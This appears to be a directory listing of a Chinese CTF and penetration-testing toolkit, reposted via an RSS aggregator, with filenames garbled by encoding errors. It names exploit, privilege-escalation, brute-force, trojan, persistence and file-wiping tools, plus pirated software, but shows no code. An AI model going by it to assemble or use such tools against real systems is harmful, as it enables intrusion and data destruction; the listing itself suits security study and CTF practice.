│ │ ├── 7kbscan-WebPathBrute
│ │ ├── 7kbscan-WebPathBrute T00ls侓版 1.5.8(集成䞉字兞).rar
│ │ ├── AWVS
│ │ ├── awvs.rar
│ │ ├── C段查询工具-[20180103]-7kbscan
│ │ ├── C段查询工具-[20180103]-7kbscan.zip
│ │ ├── GourdScan-master
│ │ ├── nmap-7.40-setup.exe
│ │ ├── SourceLeakHacker-master
│ │ ├── SubDomainSniper 1.1 䞭文版 t00ls.net
│ │ ├── SubDomainSniper 1.1 䞭文版 t00ls.net.rar
│ │ ├── 刷祚
│ │ ├── 埡剑后台扫描珍藏版
│ │ ├── 埡剑后台扫描珍藏版.zip
│ │ ├── 埡剑后台扫描超区85Wå­—å…ž.rar
│ │ └── 摄像倎工具
│ ├── 提权工具
│ │ ├── ms12-020远皋溢出工具
│ │ ├── MS15077提权
│ │ ├── nc提权
│ │ ├── pcanywhere
│ │ ├── php+mysql
│ │ ├── serv-u提权绌合工具.rar
│ │ ├── 䞪人䞓甚马
│ │ ├── 启劚项提权.bat
│ │ ├── 垞见提权工具
│ │ ├── 匀启3389
│ │ ├── 扫目圕.rar
│ │ ├── 补䞁对应提权方匏.txt
│ │ └── 解决tcp限制.rar
│ ├── 数据库工具
│ │ ├── Navicat_for_SQLServer_11.1.13_XiaZaiBa.zip
│ │ └── 蟅臣数据库查看.rar
│ ├── 爆砮
│ │ ├── DUBrute+2.2倚密码爆砎
│ │ ├── hydra-7.3
│ │ ├── K8_FuckOneShell
│ │ ├── OraclePasswords
│ │ └── phpMyAdmin(MySQL)暎力砎解工具v1.3
│ ├── 绌合利甚工具
│ │ ├── crt.rar
│ │ ├── GitHack-master
│ │ ├── GitHack-master.rar
│ │ ├── IISPutScanner.exe
│ │ ├── K8_Ecshop_Exploit_2013_02_22[K8].rar
│ │ ├── K8_Fck_Exploit.exe
│ │ ├── K8 Struts2 Exploit.exe
│ │ ├── K8䞀句话朚马爆砎_1004[K8].rar
│ │ ├── 邮箱采集
│ │ └── 邮箱采集.zip
│ └── 超级SQL泚入工具【SSQLInjection】V1.0 正匏版 20180421
│ ├── config
│ ├── lastConfig.xml
│ ├── logs
│ ├── readme.txt
│ ├── SuperSQLInjection.exe
│ ├── update.txt
│ ├── 视频教皋地址.txt
│ └── 超级SQL泚入工具䜿甚诎明乊V20180422.docx
├── 䞪人CTFtools诎明.txt
├── 取证
│ ├── Elcomsoft Forensic Disk Decryptor
│ │ ├── doa.nfo
│ │ ├── efdd_setup_en.msi
│ │ ├── file_id.diz
│ │ ├── Gold WareZ.nfo
│ │ └── key.txt
│ ├── kali forensics集合.txt
│ ├── 取证倧垈.rar
│ ├── 掚荐乊籍
│ │ ├── Android取证实战调查、分析䞎移劚安党.pdf
│ │ ├── The Art of Memory Forensics.pdf
│ │ ├── Windows取证分析.pdf
│ │ ├── 眑络安党䞎计算机犯眪勘查技术孊.pdf
│ │ ├── 眑络安党-取证䞎蜜眐.pdf
│ │ └── 黑客倧远螪眑络取证栞心原理䞎实践.pdf
│ ├── 日志分析
│ │ └── apache-scalp-master
│ ├── 秋匏眑站日志分析噚.rar
│ └── 计算机安党检查取证系统.zip
├── 文件分析
│ ├── Beyound Compare 3.exe
│ ├── FileAnalysis V2.2.1 D20140401
│ │ └── FileAnalysis
│ ├── FiletypeID
│ │ ├── bz2.pyd
│ │ ├── _ctypes.pyd
│ │ ├── Definitions
│ │ ├── FiletypeID.exe
│ │ ├── FiletypeID.ini
│ │ ├── _hashlib.pyd
│ │ ├── library.zip
│ │ ├── License.txt
│ │ ├── PyQt4.QtCore.pyd
│ │ ├── PyQt4.QtGui.pyd
│ │ ├── python27.dll
│ │ ├── QtCore4.dll
│ │ ├── QtGui4.dll
│ │ ├── ReadMe.txt
│ │ ├── sip.pyd
│ │ ├── _socket.pyd
│ │ ├── _ssl.pyd
│ │ ├── TrIDLib
│ │ └── unicodedata.pyd
│ ├── foremost.exe
│ ├── foremost文件分犻.rar
│ ├── Hex Editor Neo.txt
│ └── Winhex.txt
├── 流量分析
│ ├── USB Monitor Pro.txt
│ ├── Wireshark.txt
│ ├── 安装包
│ │ └── Wireshark-win64-2.2.1.exe
│ └── 掚荐乊籍
│ ├── Wireshark数据包分析实战.pdf
│ └── Wireshark眑络分析就这么简单.pdf
├── 线䞋
│ ├── CTF_FIleMonitor
│ │ ├── CTF_FIleMonitor
│ │ └── CTF_FIleMonitor.sln
│ ├── 搅乱工具
│ │ └── 埪环创建shell文件䞔删陀陀目圕䞋的所有文件.php
│ └── 权限绎持
│ ├── bash
│ └── php
├── 绌合
│ └── v0lt-master
│ ├── AUTHORS
│ ├── COPYRIGHT
│ ├── README.md
│ ├── setup.py
│ ├── v0lt
│ └── v0ltlib
├── 猖码䞎密码
│ ├── ASCII码随心换v3.0.0.1.exe
│ ├── CTFcrack
│ │ ├── CTFcrack.jar
│ │ ├── girl
│ │ ├── Plugin
│ │ └── Setting.json
│ ├── Hash & Crypto Detector v1.4
│ │ ├── AT4RE.nfo
│ │ ├── HCD.exe
│ │ └── Readme.txt
│ ├── JDicTac.jar
│ ├── key_Assistant.exe
│ ├── Keygener_Assistant
│ │ ├── History.txt
│ │ ├── keyAssistant Remixed.exe
│ │ └── Readme.txt
│ ├── online-decode
│ │ ├── app
│ │ ├── base32_decode.html
│ │ ├── base32_encode.html
│ │ ├── base64_decode.html
│ │ ├── base64_encode.html
│ │ ├── crc16.html
│ │ ├── crc32_checksum.html
│ │ ├── crc32.html
│ │ ├── css
│ │ ├── html_decode.html
│ │ ├── html_encode.html
│ │ ├── index.html
│ │ ├── js
│ │ ├── keccak_224.html
│ │ ├── keccak_256.html
│ │ ├── keccak_384.html
│ │ ├── keccak_512.html
│ │ ├── md2.html
│ │ ├── md4.html
│ │ ├── md5_checksum.html
│ │ ├── md5.html
│ │ ├── README.md
│ │ ├── sha1_checksum.html
│ │ ├── sha1.html
│ │ ├── sha224.html
│ │ ├── sha256.html
│ │ ├── sha3_224.html
│ │ ├── sha3_256.html
│ │ ├── sha3_384.html
│ │ ├── sha3_512.html
│ │ ├── sha384.html
│ │ ├── sha512_224.html
│ │ ├── sha512_256.html
│ │ ├── sha512.html
│ │ ├── shake_128.html
│ │ ├── shake_256.html
│ │ ├── url_decode.html
│ │ └── url_encode.html
│ ├── PYG密码孊绌合工具 v5.0.0.5
│ │ ├── PYG.dll
│ │ ├── PYG_TOOLS5.ini
│ │ └── PYG_TOOLS_VER5.exe
│ ├── UNICODE2ANSI.exe
│ ├── Wintools猖码蜬换.exe
│ ├── 䞇胜字笊蜬换Character1.2.exe
│ ├── 加密䞎猖码合集v1.2
│ │ ├── dict
│ │ ├── icudt52.dll
│ │ ├── icuin52.dll
│ │ ├── icuuc52.dll
│ │ ├── libgcc_s_dw2-1.dll
│ │ ├── libstdc++-6.dll
│ │ ├── libwinpthread-1.dll
│ │ ├── platforms
│ │ ├── Qt5Core.dll
│ │ ├── Qt5Gui.dll
│ │ ├── Qt5Widgets.dll
│ │ ├── 加密䞎猖码小工具v1.2.exe
│ │ └── 曎新.txt
│ ├── 加密解密囟和方法
│ │ ├── ADFGX加密法.png
│ │ ├── Blue-punch-card-front-horiz.png
│ │ ├── 二进制加密解密法.txt
│ │ ├── 倒叙加密解密.txt
│ │ ├── 凯撒密码加密.jpg
│ │ ├── 培根密码.jpg
│ │ ├── 字母衚顺序加密法和反字母衚加密法和小键盘加密法.jpg
│ │ ├── 圓铺密码.jpg
│ │ ├── 手机键盘加密解密.jpg
│ │ ├── 摩尔密码加密䞎解密.jpg
│ │ ├── 数字坐标加密字母.png
│ │ ├── 波利比奥斯棋盘.png
│ │ ├── 猪圈密码.png
│ │ ├── 猪圈密码加密解密.jpg
│ │ ├── 电脑键盘QWE加密法.jpg
│ │ ├── 电脑键盘坐标加密.jpg
│ │ ├── 电脑键盘棋盘加密.jpg
│ │ ├── 绎吉尌亚.txt
│ │ ├── 绎吉尌亚密码.png
│ │ └── 非斯的象圢文字翻译囟.png
│ ├── 加密解密小玩具.exe
│ ├── 加密解密猖码解码工具SENCODE.exe
│ ├── 字兞生成
│ │ ├── N.C.P.H瀟䌚工皋孊字兞生成噚
│ │ ├── 䞇胜钥匙字兞生成工具(区).exe
│ │ ├── 亊思瀟䌚工皋孊字兞生成噚.exe
│ │ ├── 党囜各地手机号码段查询.url
│ │ ├── 品蜩字兞生成噚V0.5.exe
│ │ ├── 易䌘蜯件-超级字兞生成噚.exe
│ │ ├── 真空密码字兞生成噚
│ │ └── 黑刀超级字兞生成噚.exe
│ ├── 密码
│ │ ├── asp_encode_decode
│ │ ├── Code
│ │ ├── DES
│ │ ├── Hash
│ │ ├── MD5
│ │ ├── Office
│ │ ├── PYG密码孊绌合工具
│ │ ├── RAR
│ │ ├── RSA
│ │ ├── Wireless
│ │ ├── Zip
│ │ ├── 单衚眮换碰撞圚线解密
│ │ ├── 叀兞密码
│ │ ├── 叀兞密码工具
│ │ ├── 序列密码
│ │ └── 词频分析
│ ├── 小葵倚功胜蜬换工具.exe
│ ├── 垞见密码.txt
│ ├── 猖码
│ │ ├── Brainfuck
│ │ ├── Braintools
│ │ ├── BrainTools.zip
│ │ ├── CTF䞭那些脑掞倧匀的猖码和加密.txt
│ │ ├── GB2312 UNICODE 蜬换工具.html
│ │ ├── jjdecode.html
│ │ ├── JPK_406.jar
│ │ ├── LoveString
│ │ ├── Shellcode
│ │ ├── 字笊ASCII码互蜬.exe
│ │ ├── 字笊信息䞎二进制(字笊䞲蜬16进制).exe
│ │ ├── 摩斯电码猖码解码.exe
│ │ └── 猖码蜬换工具
│ └── 猖码蜬换.exe
├── 脚本
│ ├── CRC32碰撞
│ │ ├── crc32
│ │ ├── crc32Collision.py
│ │ ├── crc32.py
│ │ └── crc-collision.py
│ ├── file_hex_show.py
│ ├── name_birthday_weak_password.py
│ ├── PIL.py
│ ├── png IDAT顺序修倍
│ │ ├── odrrere-final.png
│ │ ├── odrrere-progress.png
│ │ ├── odrrere-start.png
│ │ └── pngIDAT_order_fix.py
│ ├── pngsignature_0x0a_replace_0x0d0a.py
│ ├── qr_gen.py
│ ├── read_LSB.py
│ ├── read_png_datablock.py
│ ├── zlib
│ │ ├── zlib_decompress.py
│ │ └── zlib.py
│ ├── 反盞
│ │ ├── input.png
│ │ ├── Inverting.py
│ │ └── output_inverted.png
│ ├── 正则衚蟟匏
│ │ └── RegexTester.exe
│ └── 简单替换砎解
│ └── break.py
├── 逆向
│ ├── C32Asm
│ │ ├── Bmp
│ │ ├── C32Asm.exe
│ │ ├── C32ASM.INI
│ │ ├── KeyWord
│ │ ├── LANGUAGE
│ │ ├── PeSave
│ │ ├── plugs
│ │ ├── Symbol
│ │ └── 修改记圕.txt
│ ├── jd-gui-windows-1.4.0
│ │ ├── jd-gui.exe
│ │ ├── LICENSE
│ │ ├── NOTICE
│ │ └── README.md
│ ├── JPEXSFreeFlashDecompiler
│ │ ├── ffdec_9.0.0_setup.exe
│ │ └── 䜿甚诎明.txt
│ ├── OllyDBG
│ │ └── OllyDBG_1.10汉化第二版
│ ├── PEID
│ │ ├── 173绿色蜯件.url
│ │ ├── 173蜯件䞋蜜.txt
│ │ ├── HA.PEiD.0.95
│ │ └── ha.peid.0.95.rar
│ ├── WinHex
│ │ ├── linholer.txt
│ │ ├── winhex19.3 SR-4 x86 x64
│ │ ├── winhex19.3 SR-4 x86 x64.zip
│ │ ├── WinHex v19.2 SR-3 x86 x64.zip
│ │ ├── WinHex v19.3 x86 x64.zip
│ │ └── 䞭文补䞁
│ └── 吟爱砎解䞓甚版Ollydbg
│ ├── DBGHELP.DLL
│ ├── ICO
│ ├── LIB
│ ├── LoadDll.dll
│ ├── Loaddll.exe
│ ├── OllyDBG.EXE
│ ├── OLLYDBG.HLP
│ ├── ollydbg.ini
│ ├── ollydbg_癜底黑字配眮.ini
│ ├── plugin
│ ├── UDD
│ ├── Udd Cleaner.exe
│ ├── 䜿甚诎明.txt
│ ├── 原版
│ ├── 吟爱砎解[LCG].exe
│ └── 路埄修倍工具.exe
└── 隐写
├── Andriod
│ ├── ImgHid and Reveal
│ ├── My Secret
│ └── StegDroid0.75.apk
├── FileSystem
│ └── ntfs流隐写
├── Html隐写.txt
├── IOS
│ ├── InvisiLetter
│ ├── Spy Pix
│ └── Stego Sec
├── OpenPuff
│ ├── html
│ ├── libObfuscate.dll
│ ├── libObfuscate_license.txt
│ ├── OpenPuff.exe
│ └── OpenPuff_license.txt
├── openstego
│ ├── build
│ ├── build.xml
│ ├── doc
│ ├── installer.nsi
│ ├── lib
│ ├── LICENSE
│ ├── msb_examples
│ ├── openstego.bat
│ ├── openstego.sh
│ ├── README
│ └── src
├── PDF隐写
│ ├── kali_pdfto.txt
│ ├── make-pdf_V0_1_6.zip
│ ├── OWASP TOP10.pdf
│ ├── pdfid_v0_2_1
│ ├── pdfid_v0_2_1.zip
│ ├── pdf-parser_V0_6_5.py
│ ├── pdf-parser_V0_6_5.zip
│ ├── PDFStreamDumper_Setup.exe
│ ├── PDFTemplate.zip
│ ├── pdfxray_lite-master.zip
│ ├── peepdf_0.3.zip
│ ├── wbs43open-win32
│ └── wbs43open-win32.zip
├── Rizzy
│ ├── COPYING
│ ├── README
│ ├── rizzy.glade
│ ├── rizzy.py
│ ├── rizzy.xml
│ ├── rstep.py
│ └── stepic.py
├── StegoStick
│ ├── EndUser Version
│ └── Source Code
├── StegSpy2.1
│ ├── Comdlg32.ocx
│ └── StegSpy2.1.exe
├── s-tools4
│ ├── 1000046611283.bmp
│ ├── cryptlib.dll
│ ├── GIFutil.dll
│ ├── new.bmp
│ ├── S-Tools.exe
│ ├── S-Tools.hlp
│ └── zlib.dll
├── 可执行文件隐写
│ ├── hydan
│ └── hydan-0.13.tar.gz
├── 各种栌匏的文件倎.doc
├── 囟像隐写
│ ├── 1.py
│ ├── busysteg-master
│ ├── CameraShy.0.2.23.1.exe
│ ├── CoagulaLight1666
│ ├── Exif Tag Remover.rar
│ ├── exiftool-18.25
│ ├── F5
│ ├── Filters
│ ├── gifshuffle-win-bin.zip
│ ├── GifSplitter 2.0
│ ├── hinaLayer
│ ├── ImageHide.EXE
│ ├── Image Steganography
│ ├── Image Steganography Setup.exe
│ ├── JCS.jar
│ ├── jpeg-v4.tar.gz
│ ├── jpgx211
│ ├── jphs_05
│ ├── LSB
│ ├── mandsteg-10.tar.gz
│ ├── Namo Gif Animator.exe
│ ├── openstego-0.6.1
│ ├── outguess-0.2.tar.gz
│ ├── Outguess Rebirth_1-3
│ ├── pngcheck-2.3.0-win32
│ ├── png-debugger
│ ├── PNG-Steganography
│ ├── steganabara-1.1.1.tar.gz
│ ├── stegdetect-0.4-windows
│ ├── steghide
│ ├── StegoTool
│ ├── Stegsolve.jar
│ ├── tweakpng-1.4.6
│ ├── vsl-1.1
│ ├── wbs43open-win32
│ ├── wbs43open-win32.zip
│ ├── 二绎码
│ └── 深入理解JPEG囟像栌匏Jphide隐写.html
├── 圚线工具.txt
├── 必看乊籍
│ └── 数据隐藏技术揭秘砎解倚媒䜓、操䜜系统、移劚讟倇和眑络协议䞭的隐秘数据.pdf
├── 视频隐写
│ ├── AVI
│ ├── DeEggerSetup131.msi
│ ├── ffmpeg-latest-win32-static
│ └── MP4 QuickTime
├── 隐写和数字氎印工具衚.txt
└── 音频隐写
├── audacity-win-2-1-2.exe
├── mp3stego-gui
└── mp3stego-gui.zip

from

The post ctf工具包 ctf Toolkit 林透测试工具包 隐秘数据砎解 appeared first on 🔰雚苁ℒ🔰.

↧
Viewing all 323 articles
Browse latest View live
Search
<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>